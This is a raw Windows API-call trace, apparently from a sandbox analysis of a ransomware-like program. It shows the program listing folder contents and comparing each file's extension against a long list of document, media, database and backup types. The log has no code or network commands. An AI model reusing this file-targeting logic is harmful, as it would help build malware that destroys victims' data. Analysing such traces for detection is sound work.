ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0083.772] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0083.773] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0083.773] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0083.773] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0083.773] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0083.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26 [0083.773] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1037") returned 1 [0083.773] lstrlenW (lpString="1037") returned 4 [0083.773] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1037") returned 1 [0083.773] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0083.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26 [0083.773] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603d0 [0083.774] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.774] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0083.774] lstrlenW (lpString="eula.rtf") returned 8 [0083.774] lstrlenW (lpString=".1cd") returned 4 [0083.774] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.774] lstrlenW (lpString=".3ds") returned 4 [0083.774] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0083.774] lstrlenW (lpString=".3fr") returned 4 [0083.774] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0083.774] lstrlenW (lpString=".3g2") returned 4 [0083.774] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0083.774] lstrlenW (lpString=".3gp") returned 4 [0083.774] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0083.774] lstrlenW (lpString=".7z") returned 3 [0083.774] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.774] lstrlenW (lpString=".accda") returned 6 [0083.774] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0083.774] lstrlenW (lpString=".accdb") returned 6 [0083.774] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0083.774] lstrlenW (lpString=".accdc") returned 6 [0083.774] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0083.774] lstrlenW (lpString=".accde") returned 6 [0083.774] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0083.774] lstrlenW (lpString=".accdt") returned 6 [0083.774] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0083.775] lstrlenW (lpString=".accdw") returned 6 [0083.775] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0083.775] lstrlenW (lpString=".adb") returned 4 [0083.775] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".adp") returned 4 [0083.775] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".ai") returned 3 [0083.775] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0083.775] lstrlenW (lpString=".ai3") returned 4 [0083.775] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".ai4") returned 4 [0083.775] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".ai5") returned 4 [0083.775] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".ai6") returned 4 [0083.775] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".ai7") returned 4 [0083.775] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".ai8") returned 4 [0083.775] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".anim") returned 5 [0083.775] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0083.775] lstrlenW (lpString=".arw") returned 4 [0083.775] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0083.775] lstrlenW (lpString=".as") returned 3 [0083.775] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0083.775] lstrlenW (lpString=".asa") returned 4 [0083.775] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".asc") returned 4 [0083.776] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".ascx") returned 5 [0083.776] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0083.776] lstrlenW (lpString=".asm") returned 4 [0083.776] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".asmx") returned 5 [0083.776] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0083.776] lstrlenW (lpString=".asp") returned 4 [0083.776] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".aspx") returned 5 [0083.776] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0083.776] lstrlenW (lpString=".asr") returned 4 [0083.776] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".asx") returned 4 [0083.776] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".avi") returned 4 [0083.776] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".avs") returned 4 [0083.776] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".backup") returned 7 [0083.776] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0083.776] lstrlenW (lpString=".bak") returned 4 [0083.776] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".bay") returned 4 [0083.776] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0083.776] lstrlenW (lpString=".bd") returned 3 [0083.776] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0083.777] lstrlenW (lpString=".bin") returned 4 [0083.777] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".bmp") returned 4 [0083.777] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".bz2") returned 4 [0083.777] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".c") returned 2 [0083.777] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0083.777] lstrlenW (lpString=".cdr") returned 4 [0083.777] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".cer") returned 4 [0083.777] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".cf") returned 3 [0083.777] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0083.777] lstrlenW (lpString=".cfc") returned 4 [0083.777] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".cfm") returned 4 [0083.777] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".cfml") returned 5 [0083.777] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0083.777] lstrlenW (lpString=".cfu") returned 4 [0083.777] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".chm") returned 4 [0083.777] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".cin") returned 4 [0083.777] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0083.777] lstrlenW (lpString=".class") returned 6 [0083.778] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0083.778] lstrlenW (lpString=".clx") returned 4 [0083.778] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".config") returned 7 [0083.778] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0083.778] lstrlenW (lpString=".cpp") returned 4 [0083.778] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".cr2") returned 4 [0083.778] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".crt") returned 4 [0083.778] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".crw") returned 4 [0083.778] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".cs") returned 3 [0083.778] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0083.778] lstrlenW (lpString=".css") returned 4 [0083.778] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".csv") returned 4 [0083.778] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".cub") returned 4 [0083.778] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0083.778] lstrlenW (lpString=".dae") returned 4 [0083.779] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".dat") returned 4 [0083.779] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".db") returned 3 [0083.779] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0083.779] lstrlenW (lpString=".dbf") returned 4 [0083.779] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".dbx") returned 4 [0083.779] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".dc3") returned 4 [0083.779] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".dcm") returned 4 [0083.779] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".dcr") returned 4 [0083.779] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".der") returned 4 [0083.779] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0083.779] lstrlenW (lpString=".dib") returned 4 [0083.779] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".dic") returned 4 [0083.780] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".dif") returned 4 [0083.780] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".divx") returned 5 [0083.780] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0083.780] lstrlenW (lpString=".djvu") returned 5 [0083.780] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0083.780] lstrlenW (lpString=".dng") returned 4 [0083.780] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".doc") returned 4 [0083.780] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".docm") returned 5 [0083.780] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0083.780] lstrlenW (lpString=".docx") returned 5 [0083.780] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0083.780] lstrlenW (lpString=".dot") returned 4 [0083.780] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".dotm") returned 5 [0083.780] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0083.780] lstrlenW (lpString=".dotx") returned 5 [0083.780] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0083.780] lstrlenW (lpString=".dpx") returned 4 [0083.780] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".dqy") returned 4 [0083.780] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0083.780] lstrlenW (lpString=".dsn") returned 4 [0083.781] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".dt") returned 3 [0083.781] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0083.781] lstrlenW (lpString=".dtd") returned 4 [0083.781] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".dwg") returned 4 [0083.781] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".dwt") returned 4 [0083.781] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".dx") returned 3 [0083.781] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0083.781] lstrlenW (lpString=".dxf") returned 4 [0083.781] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".edml") returned 5 [0083.781] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0083.781] lstrlenW (lpString=".efd") returned 4 [0083.781] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".elf") returned 4 [0083.781] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".emf") returned 4 [0083.781] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".emz") returned 4 [0083.781] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".epf") returned 4 [0083.781] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".eps") returned 4 [0083.781] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0083.781] lstrlenW (lpString=".epsf") returned 5 [0083.782] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0083.782] lstrlenW (lpString=".epsp") returned 5 [0083.782] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0083.782] lstrlenW (lpString=".erf") returned 4 [0083.782] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".exr") returned 4 [0083.782] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".f4v") returned 4 [0083.782] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".fido") returned 5 [0083.782] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0083.782] lstrlenW (lpString=".flm") returned 4 [0083.782] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".flv") returned 4 [0083.782] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".frm") returned 4 [0083.782] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".fxg") returned 4 [0083.782] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".geo") returned 4 [0083.782] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".gif") returned 4 [0083.782] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".grs") returned 4 [0083.782] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0083.782] lstrlenW (lpString=".gz") returned 3 [0083.782] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0083.782] lstrlenW (lpString=".h") returned 2 [0083.783] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0083.783] lstrlenW (lpString=".hdr") returned 4 [0083.783] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".hpp") returned 4 [0083.783] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".hta") returned 4 [0083.783] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".htc") returned 4 [0083.783] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".htm") returned 4 [0083.783] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".html") returned 5 [0083.783] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0083.783] lstrlenW (lpString=".icb") returned 4 [0083.783] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".ics") returned 4 [0083.783] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".iff") returned 4 [0083.783] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".inc") returned 4 [0083.783] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".indd") returned 5 [0083.783] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0083.783] lstrlenW (lpString=".ini") returned 4 [0083.783] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".iqy") returned 4 [0083.783] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0083.783] lstrlenW (lpString=".j2c") returned 4 [0083.783] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".j2k") returned 4 [0083.784] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".java") returned 5 [0083.784] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0083.784] lstrlenW (lpString=".jp2") returned 4 [0083.784] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".jpc") returned 4 [0083.784] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".jpe") returned 4 [0083.784] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".jpeg") returned 5 [0083.784] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0083.784] lstrlenW (lpString=".jpf") returned 4 [0083.784] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".jpg") returned 4 [0083.784] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".jpx") returned 4 [0083.784] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".js") returned 3 [0083.784] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0083.784] lstrlenW (lpString=".jsf") returned 4 [0083.784] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".json") returned 5 [0083.784] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0083.784] lstrlenW (lpString=".jsp") returned 4 [0083.784] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0083.784] lstrlenW (lpString=".kdc") returned 4 [0083.784] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".kmz") returned 4 [0083.785] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".kwm") returned 4 [0083.785] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".lasso") returned 6 [0083.785] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0083.785] lstrlenW (lpString=".lbi") returned 4 [0083.785] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".lgf") returned 4 [0083.785] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".lgp") returned 4 [0083.785] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".log") returned 4 [0083.785] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".m1v") returned 4 [0083.785] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".m4a") returned 4 [0083.785] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".m4v") returned 4 [0083.785] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".max") returned 4 [0083.785] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".md") returned 3 [0083.785] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0083.785] lstrlenW (lpString=".mda") returned 4 [0083.785] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0083.785] lstrlenW (lpString=".mdb") returned 4 [0083.785] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mde") returned 4 [0083.786] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mdf") returned 4 [0083.786] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mdw") returned 4 [0083.786] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mef") returned 4 [0083.786] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mft") returned 4 [0083.786] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mfw") returned 4 [0083.786] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mht") returned 4 [0083.786] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mhtml") returned 6 [0083.786] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0083.786] lstrlenW (lpString=".mka") returned 4 [0083.786] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mkidx") returned 6 [0083.786] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0083.786] lstrlenW (lpString=".mkv") returned 4 [0083.786] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mos") returned 4 [0083.786] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mov") returned 4 [0083.786] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0083.786] lstrlenW (lpString=".mp3") returned 4 [0083.786] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".mp4") returned 4 [0083.787] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".mpeg") returned 5 [0083.787] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0083.787] lstrlenW (lpString=".mpg") returned 4 [0083.787] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".mpv") returned 4 [0083.787] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".mrw") returned 4 [0083.787] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".msg") returned 4 [0083.787] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".mxl") returned 4 [0083.787] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".myd") returned 4 [0083.787] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".myi") returned 4 [0083.787] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".nef") returned 4 [0083.787] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".nrw") returned 4 [0083.787] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".obj") returned 4 [0083.787] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".odb") returned 4 [0083.787] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".odc") returned 4 [0083.787] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0083.787] lstrlenW (lpString=".odm") returned 4 [0083.788] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".odp") returned 4 [0083.788] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".ods") returned 4 [0083.788] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".oft") returned 4 [0083.788] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".one") returned 4 [0083.788] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 